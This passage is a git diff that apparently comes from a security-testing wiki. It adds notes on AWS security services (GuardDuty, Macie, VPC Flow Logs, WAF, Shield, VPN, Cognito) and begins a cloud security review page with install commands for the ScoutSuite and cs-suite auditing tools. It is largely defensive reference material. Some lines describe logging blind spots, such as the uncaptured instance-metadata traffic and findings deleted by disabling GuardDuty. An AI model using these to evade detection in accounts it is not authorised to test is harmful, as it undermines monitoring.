+* The **full report** is the finding report + a list of rules that were passed.
+
+## Trusted Advisor
+
+The main function of Trusted Advisor is to **recommend improvements across your AWS account** to help optimize and hone your environment based on **AWS best practices**. These recommendations cover four distinct categories. It's a is a cross-region service.
+
+1. **Cost optimization:** which helps to identify ways in which you could **optimize your resources** to save money.
+2. **Performance:** This scans your resources to highlight any **potential performance issues** across multiple services.
+3. **Security:** This category analyzes your environment for any **potential security weaknesses** or vulnerabilities.
+4. **Fault tolerance:** Which suggests best practices to **maintain service operations** by increasing resiliency should a fault or incident occur across your resources.
+
+The full power and potential of AWS Trusted Advisor is only really **available if you have a business or enterprise support plan with AWS**. **Without** either of these plans, then you will only have access to **six core checks** that are freely available to everyone. These free core checks are split between the performance and security categories, with the majority of them being related to security. These are the 6 checks: service limits, Security Groups Specific Ports Unrestricted, Amazon EBS Public Snapshots, Amazon RDS Public Snapshots, IAM Use, and MFA on root account.  
+Trusted advisor can send notifications and you can exclude items from it.  
+Trusted advisor data is **automatically refreshed every 24 hours**, **but** you can perform a **manual one 5 mins after the previous one.**
+
+## Amazon GuardDuty
+
+Amazon GuardDuty is a regional-based intelligent **threat detection service**, the first of its kind offered by AWS, which allows users to **monitor** their **AWS account** for **unusual and unexpected behavior by analyzing VPC Flow Logs, AWS CloudTrail management event logs, Cloudtrail S3 data event logs, and DNS logs**. It uses **threat intelligence feeds**, such as lists of malicious IP addresses and domains, and **machine learning** to identify **unexpected and potentially unauthorized and malicious activity** within your AWS environment. This can include issues like escalations of privileges, uses of exposed credentials, or communication with malicious IP addresses, or domains.  
+For example, GuardDuty can detect compromised EC2 instances serving malware or mining bitcoin. It also monitors AWS account access behavior for signs of compromise, such as unauthorized infrastructure deployments, like instances deployed in a Region that has never been used, or unusual API calls, like a password policy change to reduce password strength.  
+You can **upload list of whitelisted and blacklisted IP addresses** so GuardDuty takes that info into account.
+
+Finding summary:
+
+* Finding type
+* Severity: 7-8.9High, 4-6.9Medium, 01-3.9Low
+* Region
+* Account ID
+* Resource ID
+* Time of detection
+* Which threat list was used
+
+The body has this information:
+
+* Resource affected
+* Action
+* Actor: Ip address, port and domain
+* Additional Information
+
+You can invite other accounts to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation.  
+There are different IAM Role permissions to allow GuardDuty to get the information and to allow a user to upload IPs whitelisted and blacklisted.  
+GuarDuty uses a service-linked role called "AWSServiceRoleForAmazonGuardDuty" that allows it to retrieve metadata from affected endpoints.
+
+You pay for the processing of your log files, per 1 million events per months from CloudTrail and per GB of analysed logs from VPC Flow
+
+When a user disable GuardDuty, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the existing findings will be lost.  
+If you just stop it, the existing findings will remain.
+
+## Amazon Macie
+
+The main function of the service is to provide an automatic method of **detecting, identifying, and also classifying data** that you are storing within your AWS account.
+
+The service is backed by **machine learning**, allowing your data to be actively reviewed as different actions are taken within your AWS account. Machine learning can spot access patterns and **user behavior** by analyzing **cloud trail event** data to **alert against any unusual or irregular activity**. Any findings made by Amazon Macie are presented within a dashboard which can trigger alerts, allowing you to quickly resolve any potential threat of exposure or compromise of your data.
+
+Amazon Macie will automatically and continuously **monitor and detect new data that is stored in Amazon S3**. Using the abilities of machine learning and artificial intelligence, this service has the ability to familiarize over time, access patterns to data.   
+Amazon Macie also uses natural language processing methods to **classify and interpret different data types and content**. NLP uses principles from computer science and computational linguistics to look at the interactions between computers and the human language. In particular, how to program computers to understand and decipher language data. The **service can automatically assign business values to data that is assessed in the form of a risk score**. This enables Amazon Macie to order findings on a priority basis, enabling you to focus on the most critical alerts first. In addition to this, Amazon Macie also has the added benefit of being able to **monitor and discover security changes governing your data**. As well as identify specific security-centric data such as access keys held within an S3 bucket. 
+
+This protective and proactive security monitoring enables Amazon Macie to identify critical, sensitive, and security focused data such as API keys, secret keys, in addition to PII \(personally identifiable information\) and PHI data.
+
+This is useful to avoid data leaks as Macie will detect if you are exposing people information to the Internet.
+
+It's a **regional service**.
+
+It requires the existence of IAM Role 'AWSMacieServiceCustomerSetupRole' and it needs AWS CloudTrail to be enabled.
+
+Pre-defined alerts categories:
+
+* Anonymized access
+* Config compliance
+* Credential Loss
+* Data compliance
+* Files hosting
+* Identity enumeration
+* Information loss
+* Location anomaly
+* Open permissions
+* Privilege escalation
+* Ransomware
+* Service disruption
+* Suspicious access
+
+The **alert summary** provides detailed information to allow you to respond appropriately. It has a description that provides a deeper level of understanding of why it was generated. It also has a breakdown of the results.  
+
+The user has the possibility to create new custom alerts.
+
+**Dashboard categorization**:
+
+* S3 Objects for selected time range
+* S3 Objects
+* S3 Objects by PII - Personally Identifiable Information
+* S3 Objects by ACL
+* High-risk CloudTrail events and associated users
+* High-risk CloudTrail errors and associated users
+* Activity Location
+* CloudTrail Events
+* Activity ISPs
+* CloudTrail user identity types
+
+**User Categories**: Macie categorises the users in the following categories:
+
+* **Platinum**: Users or roles considered to be making high risk API calls. Often they have admins privileges. You should monitor the pretty god in case they are compromised
+* **Gold**: Users or roles with history of calling APIs related to infrastructure changes. You should also monitor them
+* **Silver**: Users or roles performing medium level risk API calls
+* **Bronze**: Users or roles using lowest level of risk based on API calls
+
+**Identity types:**
+
+* Root: Request made by root user
+* IAM user: Request made by IAM user
+* Assumed Role: Request made by temporary assumed credentials \(AssumeRole API for STS\)
+* Federated User: Request made using temporary credentials \(GetFederationToken API fro STS\)
+* AWS Account: Request made by a different AWS account
+* AWS Service: Request made by an AWS service
+
+**Data classification**: 4 file classifications exists:
+
+* Content-Type: list files based on content-type detected. The given risk is determined by the type of content detected.
+* File Extension: Same as content-type but based on the extension
+* Theme: Categorises based on a series of keywords detected within the files
+* Regex: Categories based on specific regexps
+
+The final risk of a file will be the highest risk found between those 4 categories
+
+The research function allows to create you own queries again all Amazon Macie data and perform a deep dive analysis of the data. You can filter results based on: CloudTrail Data, S3 Bucket properties and S3 Objects
+
+It possible to invite other accounts to Amazon Macie so several accounts share Amazon Macie.
+
+## Route 53
+
+You can very easily create **health checks for web pages** via Route53. For example you can create HTTP checks on port 80 to a page to check that the web server is working.
+
+Route 53 service is mainly used for checking the health of the instances. To check the health of the instances we can ping a certain DNS point and we should get response from the instance if the instances are healthy.
+
+## CloufFront
+
+Amazon CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3.
+
+The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**.
+
+**By default cookie logging is disabled** but you can enable it.
+
+## VPC
+
+### VPC Flow Logs
+
+Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allows you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**.
+
+Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**.
+
+Limitations:
+
+* If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account.
+* If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces
+* Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one.
+* The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server.
+* Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service.
+* Traffic relating to an Amazon Windows activation license from a Windows instance
+* Traffic between a network load balancer interface and an endpoint network interface
+
+For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**.
+
+![](../.gitbook/assets/image%20%28432%29.png)
+
+![](../.gitbook/assets/image%20%28433%29.png)
+
+### Subnets
+
+Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure.  
+Valid CIDR are from a /16 netmask to a /28 netmask.  
+A subnet cannot be in different availability zones at the same time.
+
+By having **multiple Subnets with similar resources grouped together**, it allows for greater security management. By implementing **network level virtual firewalls,** called network access control lists, or **NACLs**, it's possible to **filter traffic** on specific ports from both an ingress and egress point at the Subnet level.
+
+When you create a subnet the **network** and **broadcast address** of the subnet **can't be used** for host addresses and **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
+
+It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
+
+In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. This Internet gateway is a managed service, controlled, configured, and maintained by AWS. It scales horizontally automatically, and is classified as a highly valuable component of your VPC infrastructure. Once your Internet gateway is attached to your VPC, you have a gateway to the Internet. However, at this point, your instances have no idea how to get out to the Internet. As a result, you need to add a default route to the route table associated with your subnet. The route could have a **destination value of 0.0. 0. 0/0, and the target value will be set as your Internet gateway ID**.
+
+By default, all subnets have the automatic assigned of public IP addresses turned off but it can be turned on.
+
+**A local route within a route table enables communication between VPC subnets.**
+
+If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet.
+
+### VPC Peering
+
+VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network.
+
+Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.  
+If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.  
+Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.**
+
+## AWS Secrets Manager
+
+AWS Secrets Manager is a great service to enhance your security posture by allowing you to **remove any hard-coded secrets within your application and replacing them with a simple API call** to the aid of your secrets manager which then services the request with the relevant secret. As a result, AWS Secrets Manager acts as a **single source of truth for all your secrets across all of your applications**.
+
+AWS Secrets Manager enables the **ease of rotating secrets** and therefore enhancing the security of that secret. An example of this could be your database credentials. Other secret types can also have automatic rotation enabled through the use of lambda functions, for example, API keys.
+
+Access to your secrets within AWS Secret Manager is governed by fine-grained IAM identity-based policies in addition to resource-based policies.
+
+To allow a user form a different account to access your secret you need to authorize him to access the secret and also authorize him to decrypt the secret in KMS. The Key policy also needs to allows the external user to use it.
+
+**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.**
+
+## EMR
+
+EMR is a managed service by AWS and is comprised of a **cluster of EC2 instances that's highly scalable** to process and run big data frameworks such Apache Hadoop and Spark.
+
+From EMR version 4.8.0 and onwards, we have the ability to create a **security configuration** specifying different settings on **how to manage encryption for your data within your clusters**. You can either encrypt your data at rest, data in transit, or if required, both together. The great thing about these security configurations is they're not actually a part of your EC2 clusters.
+
+One key point of EMR is that **by default, the instances within a cluster do not encrypt data at rest**. Once enabled, the following features are available.
+
+* **Linux Unified Key Setup:** EBS cluster volumes can be encrypted using this method whereby you can specify AWS **KMS** to be used as your key management provider, or use a custom key provider.
+* **Open-Source HDFS encryption:** This provides two Hadoop encryption options. Secure Hadoop RPC which would be set to privacy which uses simple authentication security layer, and data encryption of HDFS Block transfer which would be set to true to use the AES-256 algorithm.
+
+From an encryption in transit perspective, you could enable **open source transport layer security** encryption features and select a certificate provider type which can be either PEM where you will need to manually create PEM certificates, bundle them up with a zip file and then reference the zip file in S3 or custom where you would add a custom certificate provider as a Java class that provides encryption artefacts.
+
+Once the TLS certificate provider has been configured in the security configuration file, the following encryption applications specific encryption features can be enabled which will vary depending on your EMR version. 
+
+* Hadoop might reduce encrypted shuffle which uses TLS. Both secure Hadoop RPC which uses Simple Authentication Security Layer, and data encryption of HDFS Block Transfer which uses AES-256, are both activated when at rest encryption is enabled in the security configuration.
+* Presto: When using EMR version 5.6.0 and later, any internal communication between Presto nodes will use SSL and TLS. 
+* Tez Shuffle Handler uses TLS.
+* Spark: The Akka protocol uses TLS. Block Transfer Service uses Simple Authentication Security Layer and 3DES. External shuffle service uses the Simple Authentication Security Layer.
+
+## RDS - Relational Database Service
+
+RDS allows you to set up a **relational database** using a number of **different engines** such as MySQL, Oracle, SQL Server, etc. During the creation of your RDS database instance, you have the opportunity to **Enable Encryption at the Configure Advanced Settings** screen under Database Options and Enable Encryption.
+
+By enabling your encryption here, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**. It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**.
+
+However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted.
+
+Amazon RDS **sends data to CloudWatch every minute by default.**
+
+In addition to encryption offered by RDS itself at the application level, there are **additional platform level encryption mechanisms** that could be used for protecting data at rest including **Oracle and SQL Server Transparent Data Encryption**, known as TDE, and this could be used in conjunction with the method order discussed but it would **impact the performance** of the database MySQL cryptographic functions and Microsoft Transact-SQL cryptographic functions.
+
+If you want to use the TDE method, then you must first ensure that the database is associated to an option group. Option groups provide default settings for your database and help with management which includes some security features. However, option groups only exist for the following database engines and versions.
+
+Once the database is associated with an option group, you must ensure that the Oracle Transparent Data Encryption option is added to that group. Once this TDE option has been added to the option group, it cannot be removed. TDE can use two different encryption modes, firstly, TDE tablespace encryption which encrypts entire tables and, secondly, TDE column encryption which just encrypts individual elements of the database.
+
+## Amazon Kinesis Firehouse
+
+Amazon Firehose is used to deliver **real-time streaming data to different services** and destinations within AWS, many of which can be used for big data such as S3 Redshift and Amazon Elasticsearch.
+
+The service is fully managed by AWS, taking a lot of the administration of maintenance out of your hands. Firehose is used to receive data from your data producers where it then automatically delivers the data to your chosen destination. 
+
+Amazon Streams essentially collects and processes huge amounts of data in real time and makes it available for consumption.
+
+This data can come from a variety of different sources. For example, log data from the infrastructure, social media, web clicks during feeds, market data, etc. So now we have a high-level overview of each of these. We need to understand how they implement encryption of any data process in stored should it be required.
+
+When clients are **sending data to Kinesis in transit**, the data can be sent over **HTTPS**, which is HTTP with SSL encryption. However, once it enters the Kinesis service, it is then unencrypted by default. Using both **Kinesis Streams and Firehose encryption, you can assure your streams remain encrypted up until the data is sent to its final destination.** As **Amazon Streams** now has the ability to implement SSE encryption using KMS to **encrypt data as it enters the stream** directly from the producers.
+
+If Amazon **S3** is used as a **destination**, Firehose can implement encryption using **SSE-KMS on S3**.
+
+As a part of this process, it's important to ensure that both producer and consumer applications have permissions to use the KMS key. Otherwise encryption and decryption will not be possible, and you will receive an unauthorized KMS master key permission error.
+
+Kinesis SSE encryption will typically call upon KMS to **generate a new data key every five minutes**. So, if you had your stream running for a month or more, thousands of data keys would be generated within this time frame.
+
+## Amazon Redshift
+
+Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business.
+
+**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted.
+
+Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**.
+
+### KMS
+
+During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective.
+
+The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. The CMK is known as the master key, tier one, and once selected, Redshift can enforce the encryption process as follows. So Redshift will send a request to KMS for a new KMS key.
+
+So Redshift will send a request to KMS for a new KMS key.
+
+This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory.
+
+Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory.
+
+This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database.
+
+You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3.
+
+### CloudHSM
+
+When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates.
+
+This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition.
+
+You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition.
+
+If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised.
+
+During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'.
+
+## WAF
+
+AWS WAF is a web application firewall that helps **protect your web applications** or APIs against common web exploits that may affect availability, compromise security, or consume excessive resources. AWS WAF gives you control over **how traffic reaches your applications** by enabling you to create security rules that block common attack patterns, such as SQL injection or cross-site scripting, and rules that filter out specific traffic patterns you define.
+
+So there are a number of essential components relating to WAF, these being: Conditions, Rules and Web access control lists, also known as Web ACLs
+
+### Conditions
+
+Conditions allow you to specify **what elements of the incoming HTTP or HTTPS request you want WAF to be monitoring** \(XSS, GEO - filtering by location-, IP address, Size constraints, SQL Injection attacks, strings and regex matching\). Note that if you are restricting a country from cloudfront, this request won't arrive to the waf.
+
+You can have **100 conditions of each type**, such as Geo Match or size constraints, however **Regex** is the **exception** to this rule where **only 10 Regex** conditions are allowed but this limit is possible to increase. You are able to have **100 rules and 50 Web ACLs per AWS account**. You are limited to **5 rate-based-rules** per account. Finally you can have **10,000 requests per second** when **using WAF** within your application load balancer.
+
+### Rules
+
+Using these conditions you can create rules: For example, block request if 2 conditions are met.  
+When creating your rule you will be asked to select a **Rule Type**: **Regular Rule** or **Rate-Based Rule**. 
+
+The only **difference** between a rate-based rule and a regular rule is that **rate-based** rules **count** the **number** of **requests** that are being received from a particular IP address over a time period of **five minutes**.
+
+When you select a rate-based rule option, you are asked to **enter the maximum number of requests from a single IP within a five minute time frame**. When the count limit is **reached**, **all other requests from that same IP address is then blocked**. If the request rate falls back below the rate limit specified the traffic is then allowed to pass through and is no longer blocked. When setting your rate limit it **must be set to a value above 2000**. Any request under this limit is considered a Regular Rule.
+
+### Actions
+
+An action is applied to each rule, these actions can either be **Allow**, **Block** or **Count**.
+
+* When a request is **allowed**, it is **forwarded** onto the relevant CloudFront distribution or Application Load Balancer.
+* When a request is **blocked**, the request is **terminated** there and no further processing of that request is taken.
+* A **Count** action will **count the number of requests that meet the conditions** within that rule. This is a really good option to select when testing the rules to ensure that the rule is picking up the requests as expected before setting it to either Allow or Block.
+
+If an **incoming request does not meet any rule** within the Web ACL then the request takes the action associated to a **default action** specified which can either be **Allow** or **Block**. An important point to make about these rules is that they are **executed in the order that they are listed within a Web ACL**. So be careful to architect this order correctly for your rule base, **typically** these are **ordered** as shown: 
+
+1. WhiteListed Ips as Allow.
+2. BlackListed IPs Block
+3. Any Bad Signatures also as Block.
+
+### CloudWatch
+
+WAF CloudWatch metrics are reported **in one minute intervals by default** and are kept for a two week period. The metrics monitored are AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests.
+
+## AWS Firewall Manager
+
+AWS Firewall Manager simplifies your administration and maintenance tasks across multiple accounts and resources for **AWS WAF, AWS Shield Advanced, Amazon VPC security groups, and AWS Network Firewall**. With Firewall Manager, you set up your AWS WAF firewall rules, Shield Advanced protections, Amazon VPC security groups, and Network Firewall firewalls just once. The service **automatically applies the rules and protections across your accounts and resources**, even as you add new resources.
+
+It can **group and protect specific resources together**, for example, all resources with a particular tag or all of your CloudFront distributions. One key benefit of Firewall Manager is that it **automatically protects certain resources that are added** to your account as they become active.
+
+**Requisites**: Created a Firewall Manager Master Account, setup an AWS organization and have added our member accounts and enable AWS Config.
+
+A **rule group** \(a set of WAF rules together\) can be added to an AWS Firewall Manager Policy which is then associated to AWS resources, such as your cloudfront distributions or application load balances.
+
+**Firewall Manager policies only allow "Block" or "Count"** options for a rule group \(no "Allow" option\).
+
+## AWS Shield
+
+AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS.
+
+**AWS Shield Standard** is **free** to everyone, and it offers DDoS **protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. 
+
+**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**.
+
+Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.**
+
+## VPN
+
+### Site-to-Site VPN
+
+**Connect your on premisses network with your VPC.**
+
+#### Concepts
+
+* **VPN connection**: A secure connection between your on-premises equipment and your VPCs.
+* **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS.
+
+  Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability.
+
+* **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device.
+* **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection.
+* **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
+* **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
+
+#### Limitations
+
+* IPv6 traffic is not supported for VPN connections on a virtual private gateway.
+* An AWS VPN connection does not support Path MTU Discovery.
+
+In addition, take the following into consideration when you use Site-to-Site VPN.
+
+* When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks.
+
+### Components of Client VPN <a id="what-is-components"></a>
+
+**Connect from your machine to your VPC**
+
+#### Concepts
+
+*  **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated.
+*  **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone.
+* **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks.
+*  **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider \(IdP\) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks.
+* **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session.
+* **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`.
+* **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443.
+* **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation \(SNAT\) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address.
+* **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues.
+* **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client.
+
+#### Limitations
+
+* **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table.
+* Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.**
+* A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint.
+* The **client CIDR range cannot be changed** after you create the Client VPN endpoint.
+* The **subnets** associated with a Client VPN endpoint **must be in the same VPC**.
+* You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**.
+* A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**.
+* Client VPN supports **IPv4** traffic only.
+* Client VPN is **not** Federal Information Processing Standards \(**FIPS**\) **compliant**.
+* If multi-factor authentication \(MFA\) is disabled for your Active Directory, a user password cannot be in the following format.
+
+  ```text
+  SCRV1:<base64_encoded_string>:<base64_encoded_string>
+  ```
+
+* The self-service portal is **not available for clients that authenticate using mutual authentication**.
+
+## Amazon Cognito
+
+Amazon Cognito provides **authentication, authorization, and user management** for your web and mobile apps. Your users can sign in directly with a **user name and password**, or through a **third party** such as Facebook, Amazon, Google or Apple.
+
+The two main components of Amazon Cognito are user pools and identity pools. **User pools** are user directories that provide **sign-up and sign-in options for your app users**. **Identity pools** enable you to grant your users **access to other AWS services**. You can use identity pools and user pools separately or together.
+
+###  **User pools**
+
+A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider \(IdP\). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK.
+
+User pools provide:
+
+* Sign-up and sign-in services.
+* A built-in, customizable web UI to sign in users.
+* Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool.
+* User directory management and user profiles.
+* Security features such as multi-factor authentication \(MFA\), checks for compromised credentials, account takeover protection, and phone and email verification.
+* Customized workflows and user migration through AWS Lambda triggers.
+
+### **Identity pools**
+
+With an identity pool, your users can **obtain temporary AWS credentials to access AWS services**, such as Amazon S3 and DynamoDB. Identity pools support anonymous guest users, as well as the following identity providers that you can use to authenticate users for identity pools:
+
+* Amazon Cognito user pools
+* Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple
+* OpenID Connect \(OIDC\) providers
+* SAML identity providers
+* Developer authenticated identities
+
+To save user profile information, your identity pool needs to be integrated with a user pool.
+
diff --git a/cloud-security/cloud-security-review.md b/cloud-security/cloud-security-review.md
new file mode 100644
index 00000000000..396c5a40e05
--- /dev/null
+++ b/cloud-security/cloud-security-review.md
@@ -0,0 +1,109 @@
+# Cloud security review
+
+**Check for nice cloud hacking tricks in** [**https://hackingthe.cloud/aws/general-knowledge/connection-tracking/**](https://hackingthe.cloud/aws/general-knowledge/connection-tracking/)\*\*\*\*
+
+## Generic tools
+
+There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section.
+
+### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
+
+AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
+
+```text
+pip3 install scoutsuite
+```
+
+### [cs-suite](https://github.com/SecurityFTW/cs-suite)
+
+AWS, GCP, Azure, DigitalOcean
+
+```text
+git clone https://github.com/SecurityFTW/cs-suite.git && cd cs-suite/
+pip install virtualenv
+virtualenv -p python2.7 venv
+source venv/bin/activate
+pip install -r requirements.txt
+python cs.py --help
+```
+
+### Nessus
+
+Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**.
+
+### Common Sense
+
+Take a look to the **network access rules** and detect if the services are correctly protected:
+
+* ssh available from everywhere?
